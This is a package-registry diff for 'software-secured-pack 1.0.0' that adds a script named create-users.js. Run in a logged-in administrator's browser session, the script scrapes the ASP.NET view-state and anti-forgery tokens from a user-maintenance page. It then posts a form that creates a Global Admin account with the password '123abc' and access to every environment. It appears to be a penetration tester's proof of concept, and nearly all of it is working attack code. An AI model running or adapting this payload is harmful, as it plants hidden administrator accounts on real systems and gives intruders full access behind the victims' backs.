software-secured-pack 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/create-users.js +75 -0
- package/package.json +11 -0
package/create-users.js
ADDED
|
@@ -0,0 +1,75 @@
|
|
|
1
|
+
const TARGET_URL = "/AdminPages/UserMaintenance.aspx";
|
|
2
|
+
|
|
3
|
+
function extractField(html, name) {
|
|
4
|
+
const re = new RegExp(`name="${name}"[^>]*value="([^"]*)"`);
|
|
5
|
+
const match = html.match(re);
|
|
6
|
+
if (!match) throw new Error(`Could not find ${name} in response`);
|
|
7
|
+
return match[1];
|
|
8
|
+
}
|
|
9
|
+
|
|
10
|
+
async function getViewState() {
|
|
11
|
+
const res = await fetch(TARGET_URL, { credentials: "include" });
|
|
12
|
+
const html = await res.text();
|
|
13
|
+
|
|
14
|
+
const fields = [
|
|
15
|
+
"__VIEWSTATE",
|
|
16
|
+
"__VIEWSTATEGENERATOR",
|
|
17
|
+
"__EVENTVALIDATION",
|
|
18
|
+
"__RequestVerificationToken",
|
|
19
|
+
];
|
|
20
|
+
|
|
21
|
+
const params = new URLSearchParams();
|
|
22
|
+
for (const field of fields) {
|
|
23
|
+
const value = extractField(html, field);
|
|
24
|
+
params.append(field, value);
|
|
25
|
+
console.log(`[+] ${field}: ${value.substring(0, 40)}...`);
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
return params;
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
async function postUser(viewStateParams, extraBody) {
|
|
32
|
+
const body = viewStateParams.toString() + "&" + extraBody;
|
|
33
|
+
|
|
34
|
+
const res = await fetch(TARGET_URL, {
|
|
35
|
+
method: "POST",
|
|
36
|
+
credentials: "include",
|
|
37
|
+
headers: {
|
|
38
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
39
|
+
},
|
|
40
|
+
body,
|
|
41
|
+
});
|
|
42
|
+
|
|
43
|
+
console.log(`[*] POST ${res.status} ${res.statusText}`);
|
|
44
|
+
return res;
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
(async () => {
|
|
48
|
+
try {
|
|
49
|
+
console.log("\n=== Creating Global Admin (user+2@mail.com) ===");
|
|
50
|
+
const viewState = await getViewState();
|
|
51
|
+
await postUser(
|
|
52
|
+
viewState,
|
|
53
|
+
"ctl00%24mainContent%24txtEmail=jbotham%2B2%40softwaresecured.com" +
|
|
54
|
+
"&ctl00%24mainContent%24txtPassword=123abc" +
|
|
55
|
+
"&ctl00%24mainContent%24txtFullname=SS-test" +
|
|
56
|
+
"&ctl00%24mainContent%24ddlProgramTypes=Internal" +
|
|
57
|
+
"&ctl00%24mainContent%24cbGlobalAdmin=on" +
|
|
58
|
+
"&ctl00%24mainContent%24cbNewUserEnvironmentAccessPrd=on" +
|
|
59
|
+
"&ctl00%24mainContent%24cbNewUserEnvironmentAccessUat=on" +
|
|
60
|
+
"&ctl00%24mainContent%24cbNewUserEnvironmentAccessDmo=on" +
|
|
61
|
+
"&ctl00%24mainContent%24cbNewUserEnvironmentAccessQas=on" +
|
|
62
|
+
"&ctl00%24mainContent%24cbNewUserEnvironmentAccessStg=on" +
|
|
63
|
+
"&ctl00%24mainContent%24cbNewUserEnvironmentAccessBld=on" +
|
|
64
|
+
"&ctl00%24mainContent%24cbNewUserEnvironmentAccessDev=on" +
|
|
65
|
+
"&ctl00%24mainContent%24cbNewUserEnvironmentAccessPoc=on" +
|
|
66
|
+
"&ctl00%24mainContent%24btnAdd.x=10" +
|
|
67
|
+
"&ctl00%24mainContent%24btnAdd.y=6" +
|
|
68
|
+
"&ctl00%24mainContent%24txtSearch="
|
|
69
|
+
);
|
|
70
|
+
|
|
71
|
+
console.log("\n[+] Done.");
|
|
72
|
+
} catch (err) {
|
|
73
|
+
console.error("[-] Error:", err.message);
|
|
74
|
+
}
|
|
75
|
+
})();
|
package/package.json
ADDED